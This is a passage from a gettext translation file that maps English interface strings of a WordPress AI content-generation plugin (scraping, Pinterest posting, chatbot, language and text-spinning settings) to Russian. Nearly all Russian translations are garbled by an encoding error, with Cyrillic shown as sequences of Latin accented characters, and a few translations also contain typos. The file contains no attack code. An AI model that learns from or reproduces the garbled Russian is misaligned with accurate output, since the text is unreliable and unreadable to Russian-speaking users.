добавлÑÑ‚ÑŒÑÑ Ð² начало каждого блока контента, " "Ñозданного Ñтим OmniBlock." #: res/aiomatic-main.php:2031 #| msgid "" #| "Set the timeout (in milliseconds) between each subsequent API call. This " #| "will allow API call throttling, so the API call quota limit is not " #| "reached for your account." msgid "" "Set the timeout (in milliseconds) between each subsequent API & scraping " "call. This will allow API call throttling, so the API call quota limit is " "not reached for your account." msgstr "" "УÑтановите таймаут (в миллиÑекундах) между каждым поÑледующим вызовом API и " "Ñкраппинга (парÑинга). Это позволит дроÑÑелировать вызовы API, чтобы лимит " "вызовов API не был доÑтигнут Ð´Ð»Ñ Ð²Ð°ÑˆÐµÐ¹ учетной запиÑи." #: res/aiomatic-main.php:4369 msgid "" "Set the timeout (in milliseconds) for every headless browser running. I " "recommend that you leave this field at it's default value (30000). If you " "leave this field blank, the default value will be used." msgstr "" "УÑтановите таймаут (в миллиÑекундах) Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ запущенного headless " "browser . Я рекомендую оÑтавить в Ñтом поле значение по умолчанию (30000). " "ЕÑли вы оÑтавите Ñто поле пуÑтым, будет иÑпользоватьÑÑ Ð·Ð½Ð°Ñ‡ÐµÐ½Ð¸Ðµ по умолчанию." #: res/aiomatic-main.php:7478 msgid "" "Set the timeout (in seconds) for every rule running and also for automatic " "post editing. I recommend that you leave this field at it's default value " "(3600)." msgstr "" "УÑтановите Ð²Ñ€ÐµÐ¼Ñ Ð¾Ð¶Ð¸Ð´Ð°Ð½Ð¸Ñ (в Ñекундах) Ð´Ð»Ñ ÐºÐ°Ð¶Ð´Ð¾Ð³Ð¾ работающего Правила, а " "также Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑкого Ñ€ÐµÐ´Ð°ÐºÑ‚Ð¸Ñ€Ð¾Ð²Ð°Ð½Ð¸Ñ ÐŸÐ¾Ñтов. Я рекомендую оÑтавить в " "Ñтом поле значение по умолчанию (3600)." #: aiomatic-automation.php:842 msgid "Set the title of the Pinterest pin" msgstr "Задайте заголовок Ð´Ð»Ñ Ð¿Ð¸Ð½Ð° Pinterest" #: aiomatic-automation.php:843 #, php-format msgid "" "Set the title of the Pinterest pin. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" "Задайте заголовок Ð´Ð»Ñ Ð¿Ð¸Ð½Ð° Pinterest. Дополнительные шорткоды, которые вы " "можете иÑпользовать: %%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ " "шорткоды Spintax, Synergy, [aicontent] и шорткоды WordPress." #: aiomatic-automation.php:1101 msgid "Set the title of the post to be created" msgstr "УÑтановите заголовок Ñоздаваемого поÑта" #: aiomatic-automation.php:1102 #, php-format msgid "" "Set the title of the post to be created. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" "Задайте название Ñоздаваемого поÑта. Дополнительные шорткоды, которые вы " "можете иÑпользовать: %%current_date_time%%, %%custom_html%%, " "%%custom_html2%%, %%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ " "шорткоды Spintax, Synergy, [aicontent] и шорткоды WordPress." #: aiomatic-ajax-actions.php:8027 res/aiomatic-shortcodes.php:214 msgid "Set the title of this form." msgstr "УÑтановите заголовок Ñтой формы." #: res/aiomatic-main.php:3375 msgid "Set the type of the prompt you are creating." msgstr "УÑтановите Тип Промпты, которую вы Ñоздаете." #: aiomatic-ajax-actions.php:8000 res/aiomatic-shortcodes.php:196 msgid "Set the type of this form." msgstr "УÑтановите тип Ñтой формы." #: aiomatic-automation.php:856 msgid "Set the URL of the Pinterest pin" msgstr "УÑтановите URL-Ð°Ð´Ñ€ÐµÑ Ð¿Ð¸Ð½Ð° Pinterest." #: aiomatic-automation.php:857 #, php-format msgid "" "Set the URL of the Pinterest pin. Additional shortcodes you can use: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" "Задайте URL-Ð°Ð´Ñ€ÐµÑ Ð¿Ð¸Ð½Ð° Pinterest. Дополнительные шорткоды, которые вы можете " "иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, " "Synergy, [aicontent] и шорткоды WordPress." #: aiomatic-automation.php:242 msgid "Set the URL of the RSS feed to be scraped for data" msgstr "УÑтановите URL-Ð°Ð´Ñ€ÐµÑ RSS-канала Ð´Ð»Ñ Ñбора данных." #: aiomatic-automation.php:243 #, php-format msgid "" "Set the URL of the RSS feed to be scraped for data. Additional shortcodes " "you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" "Задайте URL-Ð°Ð´Ñ€ÐµÑ RSS-канала, по которому будут парÑÑÑ‚ÑÑ Ð´Ð°Ð½Ð½Ñ‹Ðµ. " "Дополнительные шорткоды, которые вы можете иÑпользовать: " "%%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, " "Synergy, [aicontent] и шорткоды WordPress." #: aiomatic-automation.php:382 msgid "Set the URL of the YouTube video from which captions will be imported" msgstr "" "Задайте URL-Ð°Ð´Ñ€ÐµÑ Ð²Ð¸Ð´ÐµÐ¾Ñ€Ð¾Ð»Ð¸ÐºÐ° YouTube, из которого будут импортированы титры" #: aiomatic-automation.php:383 msgid "Set the URL of the YouTube video from which captions will be imported." msgstr "" "Задайте URL-Ð°Ð´Ñ€ÐµÑ Ð²Ð¸Ð´ÐµÐ¾Ñ€Ð¾Ð»Ð¸ÐºÐ° YouTube, из которого будут импортированы титры." #: aiomatic-automation.php:192 msgid "Set the URL to be scraped for data" msgstr "УÑтановите URL-Ð°Ð´Ñ€ÐµÑ Ð´Ð»Ñ Ð¿Ð°Ñ€Ñинга данных" #: aiomatic-automation.php:193 #, php-format msgid "" "Set the URL to be scraped for data. You can also add multiple URLs (one on " "each line), from which a random one will be selected. Additional shortcodes " "you can use: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + Spintax, Synergy shortcodes, " "[aicontent] shortcodes and WordPress shortcodes supported." msgstr "" "Задайте URL-адреÑ, по которому будет производитьÑÑ Ð¿Ð°Ñ€Ñинг данных. Ð’Ñ‹ также " "можете добавить неÑколько URL-адреÑов (по одному в каждой Ñтроке), из " "которых будет выбран Ñлучайный. Дополнительные шорткоды, которые вы можете " "иÑпользовать: %%current_date_time%%, %%custom_html%%, %%custom_html2%%, " "%%random_sentence%%, %%random_sentence2%% + поддерживаютÑÑ ÑˆÐ¾Ñ€Ñ‚ÐºÐ¾Ð´Ñ‹ Spintax, " "Synergy, [aicontent] и шорткоды WordPress." #: res/aiomatic-chatbot.php:2173 msgid "Set the user message which appears when the pdf file upload failed." msgstr "" "УÑтановите Ñообщение Ð´Ð»Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ, которое поÑвлÑетÑÑ Ð¿Ñ€Ð¸ неудачной " "загрузке pdf-файла." #: res/aiomatic-chatbot.php:2141 msgid "" "Set the user message which appears when the pdf file was uploaded " "successfully." msgstr "" "УÑтановите Ñообщение Ð´Ð»Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ, которое поÑвлÑетÑÑ Ð¿Ñ€Ð¸ уÑпешной " "загрузке pdf-файла." #: res/aiomatic-chatbot.php:2157 msgid "" "Set the user message which appears when the pdf session was ended by the " "user." msgstr "" "Задайте Ñообщение, которое поÑвлÑетÑÑ, когда пользователь завершил ÑÐµÐ°Ð½Ñ " "работы Ñ pdf." #: aiomatic-automation.php:1057 msgid "Set the webhook URL where to submit the content" msgstr "Задайте URL-Ð°Ð´Ñ€ÐµÑ Ð²ÐµÐ±-хука, по которому будет передаватьÑÑ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚" #: aiomatic-automation.php:1058 msgid "Set the webhook URL where to submit the content." msgstr "Задайте URL веб-хука, по которому будет отправлÑÑ‚ÑŒÑÑ ÐºÐ¾Ð½Ñ‚ÐµÐ½Ñ‚." #: res/aiomatic-chatbot.php:4545 msgid "Set the width of the chatbot form embedded. Default is 460px" msgstr "" "УÑтановите ширину вÑтроенной формы чат-бота. По умолчанию 460 пикÑелей." #: res/aiomatic-amazon-list.php:736 res/aiomatic-amazon-list.php:3353 #: res/aiomatic-review-list.php:708 res/aiomatic-review-list.php:3380 #: res/aiomatic-rules-list.php:675 res/aiomatic-rules-list.php:3510 #: res/aiomatic-single-list.php:1628 res/aiomatic-single-list.php:3616 #: res/aiomatic-single-list.php:4944 res/aiomatic-single-list.php:6213 #: res/aiomatic-youtube-list.php:678 res/aiomatic-youtube-list.php:3247 #, php-format msgid "" "Set the writing style of the created content. This will set the value of the " "%%writing_style%% shortcode, which can be used in prompts below. You will " "also be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "УÑтановите Ñтиль напиÑÐ°Ð½Ð¸Ñ Ñоздаваемого Контента. Это уÑтановит значение " "Шорткода %%writing_style%%, которое можно иÑпользовать в Промптх ниже. Ð’Ñ‹ " "также Ñможете иÑпользовать пользовательÑкие Шорткоды, определенные в функции " "«Создание пользовательÑких Шорткодов» в наÑтройках правил — Ñто позволит вам " "Ñоздавать чаÑтично или полноÑтью генерируемые AI Промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² Контента." #: res/aiomatic-amazon-list.php:800 res/aiomatic-amazon-list.php:3365 #: res/aiomatic-review-list.php:772 res/aiomatic-review-list.php:3392 #: res/aiomatic-rules-list.php:739 res/aiomatic-rules-list.php:3522 #: res/aiomatic-single-list.php:1692 res/aiomatic-single-list.php:3680 #: res/aiomatic-single-list.php:5008 res/aiomatic-single-list.php:6277 #: res/aiomatic-youtube-list.php:742 res/aiomatic-youtube-list.php:3259 #, php-format msgid "" "Set the writing tone of the created content. This will set the value of the " "%%writing_tone%% shortcode, which can be used in prompts below. You will " "also be able to use the custom shortcodes defined in the 'Custom Shortcode " "Creator' feature from the rule settings - this will allow you to create " "partially or fully AI generated prompts which will be used for the content " "generators." msgstr "" "УÑтановите тон напиÑÐ°Ð½Ð¸Ñ Ñозданного Контента. Это уÑтановит значение " "Шорткода %%writing_tone%%, которое можно иÑпользовать в Промптх ниже. Ð’Ñ‹ " "также Ñможете иÑпользовать пользовательÑкие Шорткоды, определенные в функции " "«Создание пользовательÑких Шорткодов» в наÑтройках правил — Ñто позволит вам " "Ñоздавать чаÑтично или полноÑтью генерируемые AI Промпты, которые будут " "иÑпользоватьÑÑ Ð´Ð»Ñ Ð“ÐµÐ½ÐµÑ€Ð°Ñ‚Ð¾Ñ€Ð¾Ð² Контента." #: aiomatic-automation.php:944 msgid "Set the YouTube Community post type." msgstr "УÑтановите тип поÑта в ÑообщеÑтве YouTube." #: aiomatic-ajax-actions.php:7868 res/aiomatic-shortcodes.php:41 msgid "" "Set this input field as required (form cannot be submitted unless this is " "filled up)." msgstr "" "УÑтановите Ñто поле ввода как необходимое (форма не может быть отправлена, " "еÑли она не заполнена)." #: res/aiomatic-automation-list.php:4535 res/aiomatic-automation-list.php:7284 msgid "Set up additional shortcodes which will be available in OmniBlocks." msgstr "" "ÐаÑтройте дополнительные шорткоды, которые будут доÑтупны в OmniBlocks." #: aiomatic-automation.php:471 msgid "Set what information do you want to add into each product listing entry" msgstr "" "Укажите, какую информацию вы хотите добавить в каждую запиÑÑŒ ÑпиÑка " "продуктов." #: aiomatic-automation.php:472 #, php-format msgid "" "Set what information do you want to add into each product listing entry. You " "can use the following shortcodes to get data for specific products: " "%%product_counter%%, %%product_title%%, %%product_description%%, " "%%product_url%%, %%product_price%%, %%product_list_price%%, " "%%product_image%%, %%product_cart_url%%, %%product_images_urls%%, " "%%product_images%%, %%product_reviews%%" msgstr "" "УÑтановите, какую информацию вы хотите добавить в каждую запиÑÑŒ ÑпиÑка " "товаров. Ð’Ñ‹ можете иÑпользовать Ñледующие шорткоды Ð´Ð»Ñ Ð¿Ð¾Ð»ÑƒÑ‡ÐµÐ½Ð¸Ñ Ð´Ð°Ð½Ð½Ñ‹Ñ… о " "конкретных товарах: %%product_counter%%, %%product_title%%, " "%%product_description%%, %%product_url%%, %%product_price%%, " "%%product_list_price%%, %%product_image%%, %%product_cart_url%%, " "%%product_images_urls%%, %%product_images%%, %%product_reviews%%." #: res/aiomatic-main.php:2593 #| msgid "" #| "Set what model to use when generating images. Default is stable-diffusion-" #| "512-v2-0." msgid "" "Set what model to use when generating images. Default is stable-diffusion-" "512-v2-1." msgstr "" "УÑтановите, какую модель иÑпользовать при генерации изображений. По " "умолчанию Ñто stable-diffusion-512-v2-1." #: res/aiomatic-main.php:2682 msgid "Set what preset to use when generating images. Default is NONE." msgstr "" "УÑтановите, какой преÑет иÑпользовать при Ñоздании изображений. По умолчанию " "ÐЕТ." #: res/aiomatic-main.php:3098 msgid "" "Set where you would like to add the AI assistant result - above or below the " "selected text." msgstr "" "Укажите, куда вы хотите добавить результат AI-Assistantа — над или под " "выделенным текÑтом." #: aiomatic-automation.php:632 msgid "Set your API own API key which will allow access to your webhook" msgstr "" "УÑтановите ÑобÑтвенный ключ API, который позволит получить доÑтуп к вашему " "веб-хуку" #: aiomatic-automation.php:633 msgid "" "Set your API own API key which will allow access to your webhook. This will " "prevent unauthorized requests from accessing the webhook." msgstr "" "УÑтановите ÑобÑтвенный API-ключ, который позволит получить доÑтуп к вашему " "веб-хуку. Это предотвратит доÑтуп неавторизованных запроÑов к вебхуку." #: res/aiomatic-logs.php:452 msgid "Setting" msgstr "ÐаÑтройки" #: res/aiomatic-main.php:1575 msgid "Setting Up Your API Key" msgstr "ÐаÑтройка Вашего Ключа API" #: aiomatic-automatic-ai-content-writer.php:1584 res/aiomatic-chatbot.php:641 #: res/aiomatic-embeddings.php:40 res/aiomatic-single-list.php:1078 msgid "Settings" msgstr "ÐаÑтройки" #: res/aiomatic-amazon-list.php:193 res/aiomatic-automation-list.php:2504 #: res/aiomatic-chatbot.php:654 res/aiomatic-csv-list.php:55 #: res/aiomatic-main.php:1514 res/aiomatic-review-list.php:193 #: res/aiomatic-rules-list.php:193 res/aiomatic-spinner-list.php:810 #: res/aiomatic-youtube-list.php:193 msgid "Settings saved." msgstr "ÐаÑтройки Ñохранены." #: res/aiomatic-extensions.php:32 msgid "SETUP" msgstr "ÐÐСТРОЙКÐ" #: res/aiomatic-amazon-list.php:99 res/aiomatic-review-list.php:99 #: res/aiomatic-rules-list.php:99 res/aiomatic-single-list.php:99 #: res/aiomatic-single-list.php:237 res/aiomatic-youtube-list.php:99 msgid "Shona" msgstr "Шона" #: res/aiomatic-languages.php:99 msgid "Shona (Google Translate)" msgstr "Шона (переводчик Google)" #: res/admin/ai-post-gutenberg.php:186 res/admin/ai-post.php:179 msgid "Short Description Prompt" msgstr "Промпт Краткого ОпиÑаниÑ" #: res/aiomatic-shortcodes.php:517 #| msgid "Shortcodes" msgid "Shortcode" msgstr "Шорткод" #: res/aiomatic-playground.php:76 res/aiomatic-playground.php:82 #: res/aiomatic-playground.php:88 res/aiomatic-playground.php:94 #: res/aiomatic-playground.php:100 res/aiomatic-playground.php:106 #: res/aiomatic-playground.php:112 res/aiomatic-playground.php:118 #: res/aiomatic-playground.php:124 res/aiomatic-playground.php:130 msgid "Shortcode alternative: " msgstr "Ðльтернатива Шорткоду:" #: aiomatic-automatic-ai-content-writer.php:13009 #: aiomatic-automatic-ai-content-writer.php:13038 #: aiomatic-automatic-ai-content-writer.php:13044 #: aiomatic-automatic-ai-content-writer.php:13047 #: aiomatic-automatic-ai-content-writer.php:13050 #: aiomatic-automatic-ai-content-writer.php:13749 #: res/aiomatic-automation-list.php:372 res/aiomatic-automation-list.php:401 #: res/aiomatic-automation-list.php:407 res/aiomatic-automation-list.php:410 #: res/aiomatic-automation-list.php:413 res/aiomatic-automation-list.php:1111 #: res/aiomatic-automation-list.php:2839 res/aiomatic-automation-list.php:2868 #: res/aiomatic-automation-list.php:2874 res/aiomatic-automation-list.php:2877 #: res/aiomatic-automation-list.php:2880 res/aiomatic-automation-list.php:3578 #: res/aiomatic-automation-list.php:5591 res/aiomatic-automation-list.php:5620 #: res/aiomatic-automation-list.php:5626 res/aiomatic-automation-list.php:5629 #: res/aiomatic-automation-list.php:5632 res/aiomatic-automation-list.php:6331 msgid "Shortcode created by OmniBlock ID: " msgstr "Шорткод, Ñозданный OmniBlock ID:" #: res/aiomatic-amazon-list.php:4727 res/aiomatic-automation-list.php:7420 #: res/aiomatic-csv-list.php:1831 res/aiomatic-review-list.php:4880 #: res/aiomatic-rules-list.php:5117 res/aiomatic-youtube-list.php:4655 msgid "" "Shortcode for this rule
                    (to cross-post from this plugin in other plugins)" ":" msgstr "" "Шорткод Ð´Ð»Ñ Ñтого правила
                    (кроÑÑ-поÑÑ‚ из Ñтого Плагина в другие Плагины):" #: res/aiomatic-shortcodes.php:370 msgid "Show" msgstr "Показать" #: res/aiomatic-main.php:3516 msgid "Show Advanced Form Options For Users:" msgstr "Показать РаÑширенные Параметры Формы Ð´Ð»Ñ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»ÐµÐ¹:" #: res/aiomatic-automation-list.php:4591 res/aiomatic-automation-list.php:7324 msgid "Show all templates" msgstr "Показать вÑе шаблоны" #: res/aiomatic-chatbot.php:1687 res/aiomatic-chatbot.php:3526 msgid "Show Chat Clearing Button:" msgstr "Показать кнопку очиÑтки чата:" #: res/aiomatic-chatbot.php:1666 res/aiomatic-chatbot.php:3505 msgid "Show Chat Log TXT File Download Button:" msgstr "Кнопка загрузки файла TXT журнала чата" #: res/aiomatic-chatbot.php:1645 res/aiomatic-chatbot.php:3484 msgid "Show Chatbot Header:" msgstr "Показать заголовок чат-бота:" #: aiomatic-ajax-actions.php:8154 res/aiomatic-shortcodes.php:362 msgid "Show Header On Front End*" msgstr "Показать Заголовок во Фронтенде*" #: res/aiomatic-chatbot.php:4583 msgid "Show The Chatbot Between Specific Hours Each Day:" msgstr "Показывайте чатбота в определенные чаÑÑ‹ каждый день:" #: aiomatic-automatic-ai-content-writer.php:1437 #: res/aiomatic-amazon-list.php:166 res/aiomatic-automation-list.php:75 #: res/aiomatic-csv-list.php:28 res/aiomatic-review-list.php:166 #: res/aiomatic-rules-list.php:166 res/aiomatic-youtube-list.php:166 msgid "Show Tutorial Video" msgstr "Показать обучающее видео" #: res/aiomatic-main.php:3535 msgid "Show WP Rich Text Editor Input For AI Form Results:" msgstr "Показать ввод WP Rich Text Editor Ð´Ð»Ñ Ñ€ÐµÐ·ÑƒÐ»ÑŒÑ‚Ð°Ñ‚Ð¾Ð² формы AI:" #: aiomatic-ajax-actions.php:8123 res/aiomatic-shortcodes.php:311 msgid "Show/Hide Advanced Model Settings" msgstr "Показать/Ñкрыть Дополнительные Параметры Модели" #: res/aiomatic-spinner-list.php:4034 msgid "Show/Hide Categories List" msgstr "Показать / Скрыть ÑпиÑок Категорий" #: aiomatic-automatic-ai-content-writer.php:12984 #: aiomatic-automatic-ai-content-writer.php:13974 #: res/aiomatic-automation-list.php:348 res/aiomatic-automation-list.php:1343 #: res/aiomatic-automation-list.php:2815 res/aiomatic-automation-list.php:3810 #: res/aiomatic-automation-list.php:5566 res/aiomatic-automation-list.php:6566 msgid "Show/Hide Parameters" msgstr "Показать/Ñкрыть параметры" #: res/aiomatic-amazon-list.php:258 res/aiomatic-csv-list.php:120 #: res/aiomatic-limits-statistics.php:1468 res/aiomatic-review-list.php:258 #: res/aiomatic-rules-list.php:268 res/aiomatic-single-list.php:1074 #: res/aiomatic-youtube-list.php:258 msgid "Shows advanced settings for this rule." msgstr "Показывает раÑширенные ÐаÑтройки Ð´Ð»Ñ Ñтого правила." #: res/aiomatic-main.php:2711 msgid "SIMPLE" msgstr "ПРОСТОЙ" #: res/aiomatic-spinner-list.php:4122 msgid "Simulate Post Editing" msgstr "Симулировать Редактирование ПоÑта" #: res/aiomatic-amazon-list.php:100 res/aiomatic-review-list.php:100 #: res/aiomatic-rules-list.php:100 res/aiomatic-single-list.php:100 #: res/aiomatic-single-list.php:238 res/aiomatic-youtube-list.php:100 msgid "Sindhi" msgstr "Шинди" #: res/aiomatic-languages.php:100 msgid "Sindhi (Google Translate)" msgstr "Синди (переводчик Google)" #: aiomatic-helpers.php:1484 msgid "Singapore" msgstr "Сингапур" #: aiomatic-automatic-ai-content-writer.php:1314 res/aiomatic-main.php:6717 #: res/aiomatic-main.php:7219 res/aiomatic-single-list.php:293 #: res/aiomatic-single-list.php:934 msgid "Single AI Post Creator" msgstr " AI Создатель Одного ПоÑта" #: res/aiomatic-chatbot.php:2590 msgid "Single Message Max Input Length (Characters):" msgstr "МакÑÐ¸Ð¼Ð°Ð»ÑŒÐ½Ð°Ñ Ð²Ñ…Ð¾Ð´Ð½Ð°Ñ Ð´Ð»Ð¸Ð½Ð° одного ÑÐ¾Ð¾Ð±Ñ‰ÐµÐ½Ð¸Ñ (Ñимволов):" #: aiomatic-automation.php:405 res/aiomatic-review-list.php:216 #: res/aiomatic-single-list.php:1038 msgid "Single Product ASIN or Keyword" msgstr "ASIN отдельного продукта или ключевое Ñлово" #: res/aiomatic-amazon-list.php:101 res/aiomatic-review-list.php:101 #: res/aiomatic-rules-list.php:101 res/aiomatic-single-list.php:101 #: res/aiomatic-single-list.php:239 res/aiomatic-youtube-list.php:101 msgid "Sinhala" msgstr "СингальÑкий" #: res/aiomatic-languages.php:101 msgid "Sinhala (Google Translate)" msgstr "СингальÑкий (переводчик Google)" #: res/aiomatic-logs.php:115 msgid "Site URL" msgstr "URL Ñайта" #: res/aiomatic-logs.php:115 msgid "Site URL:" msgstr "URL Ñайта:" #: res/aiomatic-assistants.php:116 res/aiomatic-training.php:344 #: res/aiomatic-training.php:425 msgid "Size" msgstr "Размер" #: res/aiomatic-main.php:8010 msgid "Skip Importing of Article If No Free Image Found: " msgstr "ПропуÑтить импорт Ñтатьи, еÑли беÑплатное изображение не найдено:" #: res/aiomatic-spinner-list.php:1091 msgid "Skip Post Content Editing:" msgstr "ПропуÑтить редактирование Ñодержимого ПоÑта:" #: res/aiomatic-spinner-list.php:1127 msgid "Skip Post Excerpt Editing:" msgstr "ПропуÑтить Редактирование ÐнонÑа ПоÑта:" #: res/aiomatic-spinner-list.php:1037 msgid "Skip Post Title Editing:" msgstr "ПропуÑтить редактирование заголовка ПоÑта:" #: res/aiomatic-main.php:9166 msgid "Skip Processing Of These Post IDs:" msgstr "ПропуÑтить обработку Ñтих идентификаторов поÑтов:" #: res/aiomatic-amazon-list.php:48 res/aiomatic-main.php:8598 #: res/aiomatic-review-list.php:48 res/aiomatic-rules-list.php:48 #: res/aiomatic-single-list.php:48 res/aiomatic-single-list.php:186 #: res/aiomatic-youtube-list.php:48 msgid "Slovak" msgstr "Ñловацкий" #: res/aiomatic-languages.php:47 msgid "Slovak (Google Translate)" msgstr "Словацкий (переводчик Google)" #: res/aiomatic-amazon-list.php:49 res/aiomatic-review-list.php:49 #: res/aiomatic-rules-list.php:49 res/aiomatic-single-list.php:49 #: res/aiomatic-single-list.php:187 res/aiomatic-youtube-list.php:49 msgid "Slovenian" msgstr "ÑловенÑкий" #: res/aiomatic-languages.php:48 msgid "Slovenian (Google Translate)" msgstr "СловенÑкий (переводчик Google)" #: res/aiomatic-main.php:2716 msgid "SLOW" msgstr "МЕДЛЕÐÐЫЙ" #: res/aiomatic-main.php:2721 msgid "SLOWER" msgstr "ПОМЕДЛЕÐÐЕЕ" #: res/aiomatic-main.php:2726 msgid "SLOWEST" msgstr "СÐМЫЙ МЕДЛЕÐÐЫЙ" #: res/aiomatic-chatbot.php:3412 res/aiomatic-spinner-list.php:3632 msgid "Small home speaker" msgstr "ÐœÐ°Ð»ÐµÐ½ÑŒÐºÐ°Ñ Ð´Ð¾Ð¼Ð°ÑˆÐ½ÑÑ ÐºÐ¾Ð»Ð¾Ð½ÐºÐ°" #: res/aiomatic-chatbot.php:3413 res/aiomatic-spinner-list.php:3633 msgid "Smart home speaker" msgstr "Умный домашний динамик" #: res/aiomatic-chatbot.php:3409 res/aiomatic-spinner-list.php:3629 msgid "Smart watch or wearable" msgstr "Умные чаÑÑ‹ или ноÑимые" #: res/aiomatic-chatbot.php:3410 res/aiomatic-spinner-list.php:3630 msgid "Smartphone" msgstr "Смартфон" #: res/aiomatic-amazon-list.php:102 res/aiomatic-review-list.php:102 #: res/aiomatic-rules-list.php:102 res/aiomatic-single-list.php:102 #: res/aiomatic-single-list.php:240 res/aiomatic-youtube-list.php:102 msgid "Somali" msgstr "СомалийÑкий" #: res/aiomatic-languages.php:102 msgid "Somali (Google Translate)" msgstr "СомалийÑкий (переводчик Google)" #: res/aiomatic-logs.php:63 msgid "Some general system information." msgstr "ÐÐµÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð¾Ð±Ñ‰Ð°Ñ ÑиÑÑ‚ÐµÐ¼Ð½Ð°Ñ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ." #: res/aiomatic-main.php:1591 msgid "Some Important Notes:" msgstr "Ðекоторые Важные ПримечаниÑ:" #: aiomatic-automation.php:456 msgid "Sort Amazon Results By" msgstr "Сортировать результаты Amazon по" #: res/aiomatic-amazon-list.php:3054 msgid "Sort Results By" msgstr "Сортировать Результаты По" #: res/aiomatic-amazon-list.php:480 res/aiomatic-single-list.php:4688 msgid "Sort Results By:" msgstr "Сортировать Результаты По:" #: res/aiomatic-limits-statistics.php:694 msgid "Source" msgstr "ИÑточник" #: aiomatic-automation.php:166 msgid "Source Image URL" msgstr "URL-Ð°Ð´Ñ€ÐµÑ Ð¸Ñходного изображениÑ" #: res/aiomatic-limits-statistics.php:475 msgid "Source: The source of the request." msgstr "ИÑточник: ИÑточник ЗапроÑа." #: res/aiomatic-main.php:4609 msgid "South America 1 (Sao Paulo)" msgstr "Ð®Ð¶Ð½Ð°Ñ Ðмерика 1 (Сан-Паулу)" #: aiomatic-helpers.php:1483 msgid "Spain" msgstr "ИÑпаниÑ" #: res/aiomatic-amazon-list.php:6 res/aiomatic-main.php:8548 #: res/aiomatic-review-list.php:6 res/aiomatic-rules-list.php:6 #: res/aiomatic-single-list.php:6 res/aiomatic-single-list.php:144 #: res/aiomatic-youtube-list.php:6 msgid "Spanish" msgstr "ИÑпанÑкий" #: res/aiomatic-languages.php:49 msgid "Spanish (Google Translate)" msgstr "ИÑпанÑкий (переводчик Google)" #: res/aiomatic-chatbot.php:3179 res/aiomatic-spinner-list.php:3399 msgid "Speaker Boost:" msgstr "УÑиление динамика:" #: res/aiomatic-main.php:8511 msgid "Specify default language for regional content." msgstr "Укажите Ñзык по умолчанию Ð´Ð»Ñ Ñ€ÐµÐ³Ð¸Ð¾Ð½Ð°Ð»ÑŒÐ½Ð¾Ð³Ð¾ Контента." #: res/aiomatic-playground.php:65 msgid "" "Speech to text is a feature where the AI converts speech to text. You would " "typically record a piece of audio, and the AI would transcribe it into text. " "This could be useful for a variety of purposes, such as transcribing " "interviews, dictating notes, or making audio content more accessible." msgstr "" "Преобразование речи в текÑÑ‚ — Ñто функциÑ, при которой AI преобразует речь в " "текÑÑ‚. Обычно вы запиÑываете фрагмент аудио, а AI транÑкрибирует его в текÑÑ‚." " Это может быть полезно Ð´Ð»Ñ Ñ€Ð°Ð·Ð»Ð¸Ñ‡Ð½Ñ‹Ñ… целей, например Ð´Ð»Ñ Ñ€Ð°Ñшифровки " "интервью, диктовки заметок или Ð¿Ð¾Ð²Ñ‹ÑˆÐµÐ½Ð¸Ñ Ð´Ð¾ÑтупноÑти аудиоКонтента." #: res/aiomatic-playground.php:63 msgid "Speech to Text Using the Whisper API" msgstr "Преобразование речи в текÑÑ‚ Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ Whisper API" #: res/aiomatic-main.php:5911 msgid "Spin & Translate:" msgstr "Вращай и Переводи:" #: res/aiomatic-main.php:6109 msgid "Spin Text Using Word Synonyms (for automatically generated posts only):" msgstr "" "Спин текÑÑ‚ Ñ Ð¸Ñпользованием Ñинонимов Word (только Ð´Ð»Ñ Ð°Ð²Ñ‚Ð¾Ð¼Ð°Ñ‚Ð¸Ñ‡ÐµÑки " "Ñгенерированных ПоÑтов):" #: aiomatic-automation.php:517 msgid "" "Spins the text and rewrites it, making it unique. For this feature to work, " "you need to select a text spinner service from the plugin's 'Main Settings' " "menu -> 'Bulk Posts' tab -> 'Spin Text Using Word Synonyms' settings field." msgstr "" "РаÑкручивает текÑÑ‚ и перепиÑывает его, Ð´ÐµÐ»Ð°Ñ 